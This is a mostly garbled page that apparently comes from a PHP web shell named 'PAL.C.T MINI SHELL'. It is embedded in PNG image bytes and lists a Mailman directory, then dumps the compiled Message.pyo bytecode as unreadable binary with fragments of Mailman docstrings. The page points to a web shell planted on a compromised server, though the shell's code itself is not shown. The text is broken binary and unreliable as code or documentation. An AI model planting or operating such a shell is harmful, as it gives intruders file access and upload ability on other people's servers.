php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/Message.pyo

Pc@sgdZddkZddklZddkZddkZddkZddkZddkl	Z	ddk
lZddkl
Z
lZddklZddklZd	Zeid
eiZegZeiidD]Zeeeq[Zdeiifd
YZdeiifdYZdefdYZdefdYZ dS(sStandard Mailman message object.

This is a subclass of email.Message but provides a slightly extended interface
which is more convenient for use inside Mailman.
iN(tStringIO(tCharset(tHeader(tListTypet
StringType(tmm_cfg(tUtilss, s([\d.]+)t.t	GeneratorcBs)eZdZedddZdZRS(sGenerates output from a Message object tree, keeping signatures.

       Headers will by default _not_ be folded in attachments.
    iNicCs/tiii||d|d|||_dS(Ntmangle_from_tmaxheaderlen(temailRt__init__t!_Generator__children_maxheaderlen(tselftoutfpR	R
tchildren_maxheaderlen((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyR3s
cCs|i||i|i|iS(s7Clone this generator with maxheaderlen set for children(t	__class__t
_mangle_from_R
(Rtfp((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pytclone9s(t__name__t
__module__t__doc__tTrueRR(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyR.stMessagecBs\eZdZdZdZdddZdddZddZe	e
dZRS(	cCs t|_tiii|dS(N(tVERSIONt__version__RRR(R((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyRAs	cCs
|iS(N(t__str__(R((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyt__repr__GscCsO||_|idd}t|d<|tjodS|idp
d|_n|idp
d|_ng}d}x|iD]\}}t|t	o}g}d}xP|i
D]E\}	}
t|
tot|
}
d}n|i
|	|
fqW|o||_
d}q n|i
||fqW|o
||_ndS(NRit_charsett
_default_types
text/plaini(iii(t__dict__tgetRthas_keytNoneRRt_headerst
isinstanceRt_chunksRRtappend(Rtdtversiontheadersthchangedtktvtchunkstcchangedtstcharset((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyt__setstate__Js8	






	icCsti}|dj	o
|}n|o
d}nd	}x|D]~}||}|pq>nti|d}tii|g}y|d\}}	Wntj
o
q>nX|	oPq>q>W|i}
|
o|
i	d}	nd}	|p|	i
S|	S(
sReturn the address considered to be the author of the email.

        This can return either the From: header, the Sender: header or the
        envelope header (a.k.a. the unixfrom header).  The first non-empty
        header value found is returned.  However the search order is
        determined by the following:

        - If mm_cfg.USE_ENVELOPE_SENDER is true, then the search order is
          Sender:, From:, unixfrom

        - Otherwise, the search order is From:, Sender:, unixfrom

        The optional argument use_envelope, if given overrides the
        mm_cfg.USE_ENVELOPE_SENDER setting.  It should be set to either 0 or 1
        (don't use None since that indicates no-override).

        unixfrom should never be empty.  The return address is always
        lowercased, unless preserve_case is true.

        This method differs from get_senders() in that it returns one and only
        one address, and uses a different search order.
        tsendertfromsus-asciiiitN(ssenderR4(R4ssender(RtUSE_ENVELOPE_SENDERR#RtonelineRtgetaddressest
IndexErrortget_unixfromtsplittlower(Rtuse_envelopet
preserve_casetsenderfirstR*thtfieldvaltaddrstrealnametaddresstunixfrom((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyt
get_senderss4	



	cCsC|djo
ti}ng}x|D]}|djoN|ipd}y!|id|idfWqtj
oqXq'|i|}|oJg}|D]}|ti	|dq~}|i
tii|q'q'Wg}	xJ|D]B}
|
d}|dj	o|o|i
}n|	i|qW|	S(sReturn a list of addresses representing the author of the email.

        The list will contain the following addresses (in order)
        depending on availability:

        1. From:
        2. unixfrom
        3. Reply-To:
        4. Sender:

        The return addresses are always lower cased, unless `preserve_case' is
        true.  Optional `headers' gives an alternative search order, with None
        meaning, search the unixfrom header.  Items in `headers' are field
        names without the trailing colon.
        R5isus-asciiN(R#RtSENDER_HEADERSR:R'R;R9tget_allRR7textendRR8R<(RR>R*tpairsR@RAt	fieldvalst_[1]tfvtauthorstpairRD((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pytget_senderss0


!	&!
cCsDy tiii||}|SWntttfj
o|SXdS(sSome MUA have bugs in RFC2231 filename encoding and cause
        Mailman to stop delivery in Scrubber.py (called from ToDigest.py).
        N(RRtget_filenametUnicodeErrortLookupErrort
ValueError(Rtfailobjtfilename((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyRQs
cCs8t}t|d|}|i|d||iS(sReturn entire formatted message as a string using
        Mailman.Message.Generator.

        Operates like email.Message.Message.as_string, only
	using Mailman's Message.Generator class. Only the top headers will
        get folded.
        R	RE(RRtflattentgetvalue(RRER	Rtg((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyt	as_strings	N(RRRRR2R#RFRPRQtFalseRRZ(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyR@s			)>,tUserNotificationcBs2eZdZddddZdZdZRS(s&Class for internally crafted messages.cCsti|d}|dj	otti|}n|dj	o|i||n|djo
d}nt||dddd|d<||d<t|t	o t
i||d<||_n||d<|g|_dS(Ns(no subject)theader_nametSubjectterrorstreplacetFromtTo(
RRR#RRt
GetCharSettset_payloadRR%Rt
COMMASPACEtjointrecips(RtrecipR3tsubjectttexttlangR1((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyRs 








cKs|idpti||d<n|idptiidd|d<n|idpd|d	<n|i||d
S(s|Sends the message by enqueuing it to the `virgin' queue.

        This is used for all internally crafted messages.
        s
message-ids
Message-IDtdatet	localtimeitDatet
precedencetbulkt
PrecedenceN(R"Rtunique_message_idRt
formatdatet_enqueue(Rtmlistt_kws((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pytsend
scKsTddkl}|ti}|i|d|id|idddd|dS(Ni(tget_switchboardtlistnameRgt
nodecorateitreduced_list_headers(tMailman.Queue.sbcacheRxRtVIRGINQUEUE_DIRtenqueuet
internal_nameRg(RRuRvRxtvirginq((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyRt!s	N(RRRR#RRwRt(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyR\s	tOwnerNotificationcBs)eZdZddddZdZRS(sBLike user notifications, but this message goes to the list owners.icCs|i}|o|i|inti|id}|i}ti|||||||d=|i	|d<||_
dS(NtbouncesttoRb(townerRIt	moderatorRtget_site_emailt	host_nametpreferred_languageR\Rt
GetOwnerEmailt_sender(RRuRiRjttomoderatorsRgR3Rk((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyR2s
	cKs]ddkl}|ti}|i|d|id|iddddd|i|dS(	Ni(RxRyRgRziR{t	envsender(R|RxRR}R~RRgR(RRuRvRxR((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyRt@s	N(RRRR#RRt(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyR/s(!Rtret	cStringIORRtemail.Generatort
email.Messagetemail.Utilst
email.CharsetRtemail.HeaderRttypesRRtMailmanRRRetmatchRtmottupleRLtgroupR;R0tintRRRR\R(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Message.pyt<module>s$<8
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`